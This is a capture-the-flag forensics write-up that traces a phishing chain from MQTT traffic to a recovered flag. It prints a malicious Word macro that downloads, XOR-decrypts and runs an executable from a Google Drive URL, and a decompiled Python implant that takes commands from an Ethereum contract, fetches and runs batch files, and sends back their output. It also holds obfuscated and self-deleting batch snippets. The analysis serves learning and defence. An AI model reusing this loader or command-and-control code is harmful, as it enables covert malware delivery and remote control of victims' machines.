---
title: '[Forensics] Trail - Arkavidia CTF 2025'
disqus: hackmd
---
[Forensics] Trail Writeup - Arkavidia CTF 2025
===
###### tags: `Network Analysis` `pyc` `Blockchain` `batch files` `MQTT`
## Table of Contents
[TOC]
## TL;DR

## Challenge Description
>It's been a month since I lost my fiancé, and I am deeply grateful to you for investigating and providing me with the chronology of events. It seems that God has answered my prayers. According to the police report, the criminal organization was actually in conflict with another group called Stan. Stan successfully carried out a phishing campaign against them. This morning, I received news that the police managed to arrest the broker responsible for launching the phishing campaign and successfully obtained network traffic data from his computer. While it's unlikely that this case will lead me to my fiancé, I can't help but hold on to a sliver of hope.
Attachment : 1 pcap file
## Initial Analysis
We're given a pcap file with various protocols. Upon analysing the protocol hierarchy and after browsing a bit through the packets, we found interesting MQTT packets, which actually matches the chall description (broker mentioned).


We can see that the message's topic is readable and kind of sus. If we see the first publish message, we'll see readable and meaningful text as shown below.

Based on this, it's safe to assume that we're on the right track.
## MQTT Message Decode
Referring to the image before, We then only have to parse all data from the packet where `mqtttype == 3` (PUBLISH) and apply base 85 decoding using python's `base64` module.
### parse_mqtt_b85.py
```python=
import pyshark, base64
pcap_file = "Trail.pcapng"
cap = pyshark.FileCapture(pcap_file, display_filter="mqtt")
for index, packet in enumerate(cap):
if hasattr(packet.mqtt, "topic"):
print(f"Topic: {packet.mqtt.topic}")
if hasattr(packet.mqtt, "msg"):
message = "".join(chr(int(byte, 16)) for byte in packet.mqtt.msg.split(":"))
if index > 2:
message = base64.b85decode(message)
print(f"[FRAME #{index + 1}]", message)
cap.close()
```

Downloading and extracting the archive will give us an ms word file. Do not directly open this, we have to analyze whether the file contains malicious VBA script/macro. Using olevba reveals that there's indeed malicious VBA script that's gonna run everytime user opens the file.

```vba=
Option Explicit
Private Declare PtrSafe Function jksaodijoa Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hwnd As LongPtr, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Function oiqweuoqiw(asdjklqwe As String) As String
Dim qwieuriqw As Object
Set qwieuriqw = CreateObject("MSXML2.ServerXMLHTTP")
On Error Resume Next
qwieuriqw.Open "GET", asdjklqwe, False
qwieuriqw.send
If qwieuriqw.Status = 200 Then
oiqweuoqiw = qwieuriqw.responseText
Else
oiqweuoqiw = ""
End If
On Error GoTo 0
End Function
Private Function zmxncmzx(asdklqwe As String) As String
Dim zxcmzxn As Object
Set zxcmzxn = CreateObject("MSXML2.DOMDocument").createElement("a")
zxcmzxn.DataType = "bin.base64"
zxcmzxn.Text = asdklqwe
zmxncmzx = StrConv(zxcmzxn.NodeTypedValue, vbUnicode)
End Function
Private Function qweqweqwe(zmxncxznx As String) As Byte()
Dim zxvzxvxv() As Byte
Dim zxvzxvzv As Object
Set zxvzxvzv = CreateObject("MSXML2.DOMDocument").createElement("x")
zxvzxvzv.DataType = "bin.base64"
zxvzxvzv.Text = zmxncxznx
zxvzxvxv = zxvzxvzv.NodeTypedValue
qweqweqwe = zxvzxvxv
End Function
Private Function zxcasdqwe(zxvzxvzxv() As Byte, qweasdzxc As String) As Byte()
Dim qweqweqw() As Byte
qweqweqw = StrConv(qweasdzxc, vbFromUnicode)
Dim asdqwezxc() As Byte
ReDim asdqwezxc(0 To UBound(zxvzxvzxv))
Dim i As Long, j As Long
j = UBound(qweqweqw) + 1
For i = 0 To UBound(zxvzxvzxv)
asdqwezxc(i) = zxvzxvzxv(i) Xor qweqweqw(i Mod j)
Next i
zxcasdqwe = asdqwezxc
End Function
Sub xcmznxncvz()
Dim qweqweqweq As String
qweqweqweq = "aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xcWJHVk5PNjViallLNXBkYUtHNjd3TVZYVmtNY1pibFQ="
Dim zxczxczc As String
zxczxczc = zmxncmzx(qweqweqweq)
Dim asdqweqwe As String
asdqweqwe = oiqweuoqiw(zxczxczc)
If Len(asdqweqwe) = 0 Then
Exit Sub
End If
Dim zxvxvzxv() As Byte
zxvxvzxv = qweqweqwe(asdqweqwe)
Dim qwezxcqwe() As Byte
qwezxcqwe = zxcasdqwe(zxvxvzxv, "1234567890abcdef")
Dim zxczxczxc As String
zxczxczxc = Environ("TEMP") & "\qweasdzxv.exe"
Dim asdqweqweq As Object
Set asdqweqweq = CreateObject("ADODB.Stream")
asdqweqweq.Type = 1
asdqweqweq.Open
asdqweqweq.Write qwezxcqwe
asdqweqweq.SaveToFile zxczxczxc, 2
asdqweqweq.Close
Set asdqweqweq = Nothing
jksaodijoa 0, "open", zxczxczxc, vbNullString, vbNullString, 0
End Sub
```
In a nutshell, this script attempts to b64decode `qweqweqweq` that is resulting to an url. Then it tries to GET file from that url and b64decode the content of the file. After that, it does xor decryption to the content using fixed key "1234567890abcdef" and finally store that as `\qweasdzxv.exe`.
All we need to do is do the steps above, except for the last part.
### decrypt_exe.py
```python=
import base64
def base64_to_bytes(file_path):
"""Reads Base64 string from a file and decodes it to bytes."""
with open(file_path, "r") as f:
base64_str = f.read().strip()
return base64.b64decode(base64_str)
def xor_decrypt(data, key):
"""XOR decrypts data using a repeating key."""
key_bytes = key.encode()
return bytes([data[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(data))])
def save_to_file(data, output_path):
"""Saves byte data to a file."""
with open(output_path, "wb") as f:
f.write(data)
input_file = "trail.txt" # Change this to your actual file
output_file = "decrypted_exe.bin"
xor_key = "1234567890abcdef"
decoded_bytes = base64_to_bytes(input_file)
decrypted_bytes = xor_decrypt(decoded_bytes, xor_key)
save_to_file(decrypted_bytes, output_file)
print(f"Decryption complete. Saved to {output_file}")
```
## Reversing Executable
The previous step reveals that the file is actually a PE32+ executable. Looking a bit through the content using hex editor also shows python dlls and module. Thus, it's safe to assume that this file is a python-based executable which means if we can extract the pyc, it'll be a lot easier for us to reverse engineer it.
We used [pyinstxtractor](https://pyinstxtractor-web.netlify.app/) and got the de executable.

As we can see there are many pyd, pyc and python related dll. Among them, there's 1 file with unsual and interesting name `bzmghr.pyc`. We tried Using [pylingual](https://pylingual.io/) to decompile and got interesting code as shown in the next section
## pyc Analysis
### bzmghr.pyc
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: bzmghr.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
from web3 import Web3
import base64
import json
import sys
import subprocess as _afhajskfhsakf
import time
import requests
import datetime
_fahfakjfhsak = "0x1059a9C9a78726986F201c15C0321996a8679DC0"
_safajfhaksf = ""
_akfhaksfhakf = json.loads(
'[{"inputs": [],"stateMutability": "nonpayable","type": "constructor"},{"anonymous": false,"inputs": [{"indexed": false,"internalType": "string","name": "_xjsa","type": "string"}],"name": "_qwerty","type": "event"},{"anonymous": false,"inputs": [{"indexed": false,"internalType": "string","name": "_oiuyt","type": "string"}],"name": "_ytrewq","type": "event"},{"inputs": [{"internalType": "string","name": "_asjhf","type": "string"}],"name": "_abdjshf","outputs": [],"stateMutability": "nonpayable","type": "function"},{"inputs": [{"internalType": "string","name": "_afjdks","type": "string"}],"name": "_sadjhf","outputs": [],"stateMutability": "nonpayable","type": "function"}]'
)
_fjaksfhakjsf = "wss://sepolia.infura.io/ws/v3/e0029fa5024e47e18c00e4d00a4cc447"
_ajshfkajsfh = "0xC3c7CAA162003aE1e4474624a384177144BD8424"
_kjahskjfh = Web3(Web3.LegacyWebSocketProvider(_fjaksfhakjsf))
_sjahfkjasf = _kjahskjfh.eth.contract(address=_ajshfkajsfh, abi=_akfhaksfhakf)
def _fkashfjkashf(_afjashf):
_jsahfkjashf = f"https://drive.google.com/uc?id={_afjashf}&export=download"
_askjfhaksjf = requests.get(_jsahfkjashf, stream=True)
_jasfhakjsfh = "DiscordUpdate.bat"
with open(_jasfhakjsfh, "wb") as _afkjahsf:
for _jashfkjashf in _askjfhaksjf.iter_content(chunk_size=1024):
if _jashfkjashf:
_afkjahsf.write(_jashfkjashf)
if _afjashf == "exit":
sys.exit()
_jashfkjashf = datetime.datetime.now().strftime("[%H:%M:%S]")
_askjfhaksjf = _afhajskfhsakf.run(f'cmd.exe /c "{_jasfhakjsfh}"', shell=True, capture_output=True, text=True)
_fashfkahsf = "".join((_l for _l in _askjfhaksjf.stdout.splitlines() if "þ" not in _l))
_fashfkahsf = f"{_jashfkjashf} Starting Execution.\n{_fashfkahsf}"
_fjashfkjashf(_fashfkahsf)
def _fjashfkjashf(_kashfkjasf):
_skjfahsf = _ahsfkjashf(_kashfkjasf)
_faksfhakshf = _sjahfkjasf.functions._sadjhf(_skjfahsf).build_transaction(
{
"from": _fahfakjfhsak,
"nonce": _kjahskjfh.eth.get_transaction_count(_fahfakjfhsak),
"gas": 45000,
"gasPrice": _kjahskjfh.to_wei("50", "gwei"),
}
)
_fashfkjasfh = _kjahskjfh.eth.account.sign_transaction(_faksfhakshf, _safajfhaksf)
_kjashfkjasfh = _kjahskjfh.eth.send_raw_transaction(_fashfkjasfh.raw_transaction).hex()
def _jahsfkjashf():
_askjfhasfh = _sjahfkjasf.events._qwerty.create_filter(from_block="latest")
while True:
try:
for _akjshfkjasf in _askjfhasfh.get_new_entries():
_kjashfkjasf = _akjshfkjasf["args"]["_xjsa"]
_skjfhakjsf = _shfkjasfh(_kjashfkjasf)
_fkashfjkashf(_skjfhakjsf)
time.sleep(50)
except Exception as _fashfkjasf:
time.sleep(50)
def Shinen():
_jahsfkjashf()
def _hajsfkjashf(_ajshfkjasf):
_jahsfkjasf = b"Mizuhara_Chizuru_hvasdaa812"
return bytes([_b ^ _jahsfkjasf[_i % len(_jahsfkjasf)] for _i, _b in enumerate(_ajshfkjasf)])
def _ahsfkjashf(_asfhkjasfh):
_aksjfhasf = _hajsfkjashf(_asfhkjasfh.encode())
return base64.b64encode(_aksjfhasf).decode()
def _shfkjasfh(_kjashfkjasf):
_akjfhasfk = base64.b64decode(_kjashfkjasf.encode())
_ashfkjasf = _hajsfkjashf(_akjfhasfk)
return _ashfkjasf.decode()
Shinen()
```
Originally, line 76 was:
```python
return bytes([_b + _jahsfkjasf[_i + len(_jahsfkjasf)] for _i, _b in enumerate(_ajshfkjasf)])
```
Because, somehow pylingual patched it:

Referring to this [source](https://bytecode.readthedocs.io/en/latest/api.html#BinaryOp) the correct operations are xor and modulo. Now let's start analyzing the code.
In the first 25 lines we could see information regarding blockchain, especially eth-related. To ensure that this is a real deployed eth network, we can try to see the transactions using [blockchain explorer](https://sepolia.etherscan.io/txs?a=0xC3c7CAA162003aE1e4474624a384177144BD8424) with address `_ajshfkajsfh`. Now that we have ensure that the address and network is valid, let's dig into the pyc.
#### \_shfkjasfh
This function basically base64decodes
#### \_ahsfkjashf
This function basically base64encodes
#### \_hajsfkjashf
This function tries to "encrypt" parameter input using repeating key by doing bitwise addition for each byte.
#### \_fkashfjkashf
This function accepts parameter which seems to be a google drive file id. it then downloads the file and store it as `DiscordUpdate.bat`. Finally, it runs the bat file using `cmd.exe /c` and post-process the stdout.
#### \_fjashfkjashf
This function tries to base64encode the input parameter and use it as a chaincode parameter. Finally, it build, sign, and send a new transaction to the network.
#### \_jahsfkjashf
This function appears to be querying latest transactions from the network for every 50 seconds. if the transaction consists of arg `_xjsa`, it will base64decode the data and pass it as an argument for `_fkashfjkashf`
### Logic Flow
We can conclude that the pyc will run indefinitely (inf loop) and for every 50 seconds--if the transaction data is valid-- it will execute the batch script downloaded from the drive url from the transaction data. After each bat execution it will create a new transaction on the network using the command output as the data.
## eth Transaction Analysis
### Last Transaction (hash: `0x1da778...`)
Let's take a look at the [last transaction](https://sepolia.etherscan.io/tx/0x1da778f5e2d8545a663f750a0eb52d67e825cabfcf3428d0debda832319eadc4) (first row in the [explorer](https://sepolia.etherscan.io/txs?a=0xC3c7CAA162003aE1e4474624a384177144BD8424)). We can see the input data being transacted in 'More Detail' section.

As expected, the data is base 64-encoded. We can decrypt it using this script.
### decrypt_data.py
```python=
import base64
def decrypt(encoded_data):
encrypted_data = base64.b64decode(encoded_data.encode())
key = b'Mizuhara_Chizuru_hvasdaa812'
key_len = len(key)
return bytes([b ^ key[i % key_len] for i, b in enumerate(encrypted_data)])
data = decrypt(input('Base64 Data: '))
print(f'Decrypted data: {data.decode()}\n')
```
```bash
$ python3 decrypt_data.py
Base64 Data: FlhMT1tXSFJpHkg6DhQAATYGEUE2HAQCTUVbIgdUfz0zPlt/YQAdDgUBT3BHARYESgUTV0FQIhFUFgcMXRI8L0cPE1oKEzgKBBFDCQAOV1RQOl8NEA8JBRtwMA0KDwcXEXESHxFMFg0KXUgPIhhJFgVYBQY7MR8dAxQBQG9REgdBFgsZCBdWIVRKVw==
Decrypted data: [16:36:36] Starting Execution.
URL: "https://www.dropbox.com/scl/fi/xfgbrp0maooebw6weghwz/secured.zip?rlkey=oq3cm9wgdrwtyas509df2rjx0&dl=0"
```
It leads us to a dropbox link that contains `secured.zip`, a zip file, protected with password. Our main objective is now to find the password.
### 2nd Last Transaction (hash: `0x0c61ef...`)
Let's take a look at the [second last transaction](https://sepolia.etherscan.io/tx/0x0c61ef390e54952e91d98821c15cb03a732dcd1f687207e7c36c1b604c2f053d) and decrypt the input data.
```bash
$ python3 decrypt_data.py
Base64 Data: fDsPBBAAAlUJchtEMwQzDAhdH1UUSTI4TmZfeAFOKj4V
Decrypted data: 1Ruqxap4V1s-IqAyW5i4g-SYvWm5h4_Vt
```
By referring to `_fkashfjkashf` function in `bzmghr.pyc` and seeing that it's form is quite random, we can assume that this is an id of a google drive file.
[https://drive.google.com/uc?id=1Ruqxap4V1s-IqAyW5i4g-SYvWm5h4_Vt&export=download](https://drive.google.com/uc?id=1Ruqxap4V1s-IqAyW5i4g-SYvWm5h4_Vt&export=download)
Windows detect this file as `mp3`, but is actually not. Open it with Visual Studio Code with UTF-8 encoding.
```bat!
��&@cls&@set "R�KuV=m7GdrwbPTCcgDqE09YONaF24soK6xQiz5WXUu8SLfyeHJVjI 3Mk1@nBhptAvZRl"
%R�KuV:~53,1%%R�KuV:~42,1%%R�KuV:~10,1%%R�KuV:~56,1%%��IcSk�%%R�KuV:~25,1%%R�KuV:~48,1%%R�KuV:~25,1%%R�KuV:~40,1%%R�KuV:~40,1%
%R�KuV:~24,1%%�lx�aD�%%R�KuV:~42,1%%R�KuV:~58,1%%R�KuV:~63,1%%R�KuV:~25,1%%R�KuV:~10,1%%R�KuV:~20,1%%R�KuV:~63,1%%R�KuV:~48,1%%R�KuV:~42,1%%R�KuV:~54,1%%R�KuV:~20,1%%R�KuV:~6,1%%R�KuV:~63,1%%R�KuV:~42,1%%R�KuV:~3,1%%R�KuV:~42,1%%R�KuV:~63,1%%R�KuV:~20,1%%R�KuV:~41,1%%R�KuV:~42,1%%R�KuV:~3,1%%R�KuV:~42,1%%R�KuV:~28,1%%R�KuV:~57,1%%R�KuV:~20,1%%R�KuV:~54,1%%R�KuV:~24,1%%R�KuV:~30,1%%R�KuV:~25,1%%�T�mHXo%%R�KuV:~54,1%
--- snip ---
```
Before we find out what exactly is this, let's look at others transaction's input data.
### 3rd Last Transaction (hash: `0x5851fa...`)
```bash
Base64 Data: FlhMT1tUSFJnHkg6DhQAATYGEUE2HAQCTUVbIgdUf19MKAgvY1pdVEVFVXcQQFVaRFtBe15CNBsTEgAVUkk8akhYQ0xLWG1YRFVTLQYOShFiLB8WGh5BSEFtc1pdV0VEWG5RJQISCg8IVlYSOQEfVQwTGxc6eVlJHBweEHNITlBBV1NBWkhGKBpaXVBRUio2AUEqCBATATYGEUESFgIJUUdXd0kJEAsUAAQ7bRIACjQWEX8GExZTAAAVWRFGIkkbBws...
Decrypted data: [16:35:38] Starting Execution.
7-Zip 24.07 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-06-19Scanning the drive:1 file, 81232 bytes (80 KiB)Creating archive: secured.zipAdd new data to archive: 1 file, 81232 bytes (80 KiB)Files read from disk: 1Archive size: 78446 bytes (77 KiB)Everything is Ok
```
### 4th Last Transaction (hash: `0xdf533d...`)
```bash
Base64 Data: fAQTHhhXBisLEjddCTojJR0COyBDEhEgbXRmCyMgLBhW
Decrypted data: 1mikp6tJTQ_4sOQPBjMA0vpAUETFJZYp7
```
It's another google drive file id and its content looks very similar to the previous one.
### 5th Last Transaction (hash: `0xdf533d...`)
```bash
Base64 Data: FlhMT1tTSFBvHkg6DhQAATYGEUE2HAQCTUV.
Decrypted data: [16:32:10] Starting Execution.
[16:32:10] Execution Status: SUCCESS
```
It's another google drive file id and it's content looks very similar to the previous one. Transaction with similar inputs like this and the one with google drive id keeps repeating all the way back to the first transaction. To make it easier to analyze, we retrieve all the decrypted input data, including files from google drive, with this script.
### query_transaction.py
```python=
import json, base64, requests, os
import pandas as pd
from web3 import Web3
def decrypt(encoded_data):
encrypted_data = base64.b64decode(encoded_data.encode())
key = b'Mizuhara_Chizuru_hvasdaa812'
key_len = len(key)
return bytes([b ^ key[i % key_len] for i, b in enumerate(encrypted_data)])
# Download this from
# https://sepolia.etherscan.io/txs?a=0xC3c7CAA162003aE1e4474624a384177144BD8424&ps=50
CSV_FILE_PATH = "export-transaction-list-1742022867573.csv"
# === CONNECT TO WEB3 ===
INFURA_WS_URL = "wss://sepolia.infura.io/ws/v3/e0029fa5024e47e18c00e4d00a4cc447"
web3 = Web3(Web3.LegacyWebSocketProvider(INFURA_WS_URL))
if not web3.is_connected():
print("Failed to connect to Ethereum network")
exit()
# === LOAD CONTRACT ABI ===
contract_abi = json.loads('[{"inputs": [],"stateMutability": "nonpayable","type": "constructor"},'
'{"anonymous": false,"inputs": [{"indexed": false,"internalType": "string","name": "_xjsa","type": "string"}],'
'"name": "_qwerty","type": "event"},{"anonymous": false,"inputs": [{"indexed": false,"internalType": "string","name": "_oiuyt","type": "string"}],'
'"name": "_ytrewq","type": "event"},{"inputs": [{"internalType": "string","name": "_asjhf","type": "string"}],'
'"name": "_abdjshf","outputs": [],"stateMutability": "nonpayable","type": "function"},'
'{"inputs": [{"internalType": "string","name": "_afjdks","type": "string"}],"name": "_sadjhf","outputs": [],"stateMutability": "nonpayable","type": "function"}]')
# === READ CSV FILE ===
df = pd.read_csv(CSV_FILE_PATH)
# Extract transaction hashes
tx_hashes = df["Transaction Hash"].dropna().tolist()
contract = web3.eth.contract(abi=contract_abi)
if not os.path.isdir('tx_data'): os.mkdir('tx_data')
# Ignore contract creation trasanction
for i, tx_hash in enumerate(tx_hashes[::-1][1:]):
tx = web3.eth.get_transaction(tx_hash)
# Decode input data
func_obj, func_params = contract.decode_function_input(tx.input)
content = b''
if func_obj.fn_name == '_abdjshf':
gdrive_id = decrypt(func_params['_asjhf']).decode()
resp = requests.get(f'https://drive.google.com/uc?id={gdrive_id}&export=download', stream=True)
for b in resp.iter_content(chunk_size=1024):
content += b
else:
content = decrypt(func_params['_afjdks'])
with open(f'tx_data\\tx_{i}', 'w') as f:
f.write(content.decode(encoding='utf-8', errors='ignore'))
```
## Batch File UTF-8 BOM + substitution-based Deobfuscation
Let's go back to the file that we downloaded from google drive.
```bat!
��&@cls&@set "R�KuV=m7GdrwbPTCcgDqE09YONaF24soK6xQiz5WXUu8SLfyeHJVjI 3Mk1@nBhptAvZRl"
%R�KuV:~53,1%%R�KuV:~42,1%%R�KuV:~10,1%%R�KuV:~56,1%%��IcSk�%%R�KuV:~25,1%%R�KuV:~48,1%%R�KuV:~25,1%%R�KuV:~40,1%%R�KuV:~40,1%
%R�KuV:~24,1%%�lx�aD�%%R�KuV:~42,1%%R�KuV:~58,1%%R�KuV:~63,1%%R�KuV:~25,1%%R�KuV:~10,1%%R�KuV:~20,1%%R�KuV:~63,1%%R�KuV:~48,1%%R�KuV:~42,1%%R�KuV:~54,1%%R�KuV:~20,1%%R�KuV:~6,1%%R�KuV:~63,1%%R�KuV:~42,1%%R�KuV:~3,1%%R�KuV:~42,1%%R�KuV:~63,1%%R�KuV:~20,1%%R�KuV:~41,1%%R�KuV:~42,1%%R�KuV:~3,1%%R�KuV:~42,1%%R�KuV:~28,1%%R�KuV:~57,1%%R�KuV:~20,1%%R�KuV:~54,1%%R�KuV:~24,1%%R�KuV:~30,1%%R�KuV:~25,1%%�T�mHXo%%R�KuV:~54,1%
--- snip ---
```
Notice that there's `cls`, so we assume that this is an obfuscated batch script. The top result of googling "Batch Script Obfuscator" is exactly the obfuscator.

With the [source code](https://github.com/SkyEmie/batch-obfuscator/blob/master/index.php) provided we can easily reverse it to make the deobfuscator.
### deobfuscator.py
```python=
import re, os
def deobfuscate(input_file):
filename = input_file.split('\\')[-1].split('.')[0]
with open(input_file, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
# Extract the obfuscation substition definition
match = re.search(r'@set "([^"]*)=(.*?)"', content)
while match:
var_name, var_value = match.groups()
content = content[content.find('\n')+1:]
substitution_map = {f"%{var_name}:~{i},1%": char for i, char in enumerate(var_value)}
for key, value in substitution_map.items():
content = content.replace(key, value)
a = content[:content.find('\n')]
a = re.sub(r'%[^%]+%', '', a)
match = re.search(r'@set "([^"]*)=(.*?)"', a)
with open(f'deobf\\{filename}_deobf.bat', "w", encoding="utf-8") as f:
f.write(content)
if not os.path.isdir('deobf'): os.mkdir('deobf')
for entry in os.scandir('tx_data'):
deobfuscate(entry.path)
```
There are still some noise in the deobfuscated script, for example in this `tx_0_deobf.bat`:
```bat=
@e%kFYsl%cho off
setl%iUx%ocal ena%XrTbp%bledelayedexpansion
whoami
set "scriptPath=%~dpnx0"
set "tempDir=%TEMP%"
set "deleteScript=%tempDir%\delete_me_%RANDOM%.bat"
echo @echo off > !deleteScript!
echo%AIzO% timeout /t 2 >nul >> !deleteScript!
echo del /f /q "!scriptPath!" >> !deleteScript!
echo%nKrBSx% del /f%gJY% /q "!deleteScript!" >> !deleteScript!
start "" /min cmd /c "!deleteScript!"
exit
```
In the first line, `%kFYsl%` is not set so it will be replaced as empty string. So, `@e%kFYsl%cho off` will just be `@echo off`. Because there are actually real variable being used like `%TEMP%`, `%RANDOM%`, etc, we cannot just remove any string with that pattern. So, we'll remove it manually.
## Zip Password Reconstruction
Now, the tricky part is figuring out how to reconstruct the key, especially when "random" operation is used frequently in the batch file. To begin with, let's understand what the code snippet below does.
```bat=
if not exist !idkFile! echo 0 > !idkFile!
set /p randomCount=< !idkFile!
if !randomCount! geq 5 (set randChoice=1) else (
set /a randChance=!random! %% 100
if !randChance! ls 65 (set randChoice=0) else (set randChoice=1)
)
if !randChoice! equ 1 (set "char=2") else (
for /f %%A in ('powershell -Command "[char](Get-Random -Minimum 65 -Maximum 90)"') do set "char=%%A"
timeout /t 5 >nul
set /a randomCount+=1
echo !randomCount! > !idkFile!
)
set "updated=!password:~0,16!%char%!password:~17!"
```
In a nutshell every batch file that consists these codes is trying to construct the zip password char by char. In this example, `set "updated=!password:~0,16!%char%!password:~17!"` it's basically the same as `password = password[:16] + char + password[17:]`, that is setting password character at index 16. But how do we get the `char`?
The batch file stores `randomCount` inside !idkFile, starting from 0. When `randomCount < 5` the batch file will use 0.65 probability to decide if it really should generate random char or just use the hardcoded value from line 7 (set char).
In the event `randomChoice == 0` (0.35 probability), the batch file will assign random character with ascii number between 65 and 90 to `char`. it will then sleep for 5 seconds before incrementing `randomCount` and updating the `idkFile`.
The remaining batch files with same code snippet has the same exact flow, only the hardcoded char value is different. The next question is how to know which characters were randomly generated(?). We were kind of stuck overthinking to get the randomness seed. Turned out **it's stupidly easy**.
Remember that for every command execution, the batch file record both `starttime` and `endtime` and store that as transaction data. We can just use that info to find transaction with `(endtime - starttime) > 5`, because when the batch file decides to use random character, it will sleep for 5 second.
With this [script](#query_transactionpy), we found out that `tx_3`, `tx_5`, and `tx_7` has greater than or equal to 5 seconds of execution time. Hence, we only need to bruteforce index 15, 16, and 19.
### bfpw.py
```python=
import itertools
import zipfile
import zlib
s = ["m", "c", "y", "t", "h", "c", "j", "d", "a", "n", "v", "v", "f", "7", "9", 0, 0, "8", "b", 0]
# Find positions of 0s
zero_positions = [i for i, v in enumerate(s) if v == 0]
# Define character sets for each position
char_sets = []
for pos in zero_positions:
char_sets.append([chr(i) for i in range(65, 91)]) # A-Z only
# Brute-force all possible combinations for the missing values
for combo in itertools.product(*char_sets):
attempt = s[:]
for pos, char in zip(zero_positions, combo):
attempt[pos] = char
password = "".join(attempt)
# skip this password as this raise error idk why
if password in ["mcytacjdanIvf79GH8bf"]:
continue
print("Trying password", password)
try:
with zipfile.ZipFile("secured.zip", "r") as zip_ref:
zip_ref.extractall("output_folder", pwd=password.encode())
print(f"[SUCCESS] Password found: {password}")
break
except zlib.error as e:
print(str(e))
except RuntimeError as e:
pass
print("Brute-force process completed.")
```

After extracting the zip we get file "Restricted" without any extension. Using hex editor or command `file` reveal that this is an ms word file. Just add the .docx extension and open it
## Flag

`ARKAV{n0w_y0u_kn0w_where_y0u're_g0ing_huh?}`
## Acknowledgement
Special thanks to @ivanox who helped me on reversing the pyc and obfuscated batch file 🤞